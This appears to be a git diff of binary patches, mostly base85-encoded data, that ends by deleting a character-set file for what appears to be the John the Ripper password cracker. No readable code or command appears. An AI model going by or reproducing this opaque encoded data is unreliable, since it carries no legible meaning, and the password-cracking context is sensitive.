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 diff --git a/data/john/run.linux.x86.any/alnum.chr b/data/john/run.linux.x86.any/alnum.chr deleted file mode 100644 index 55e9a0acdf8a87ba7c07b04566a3a847c2b5a3ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 232158 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 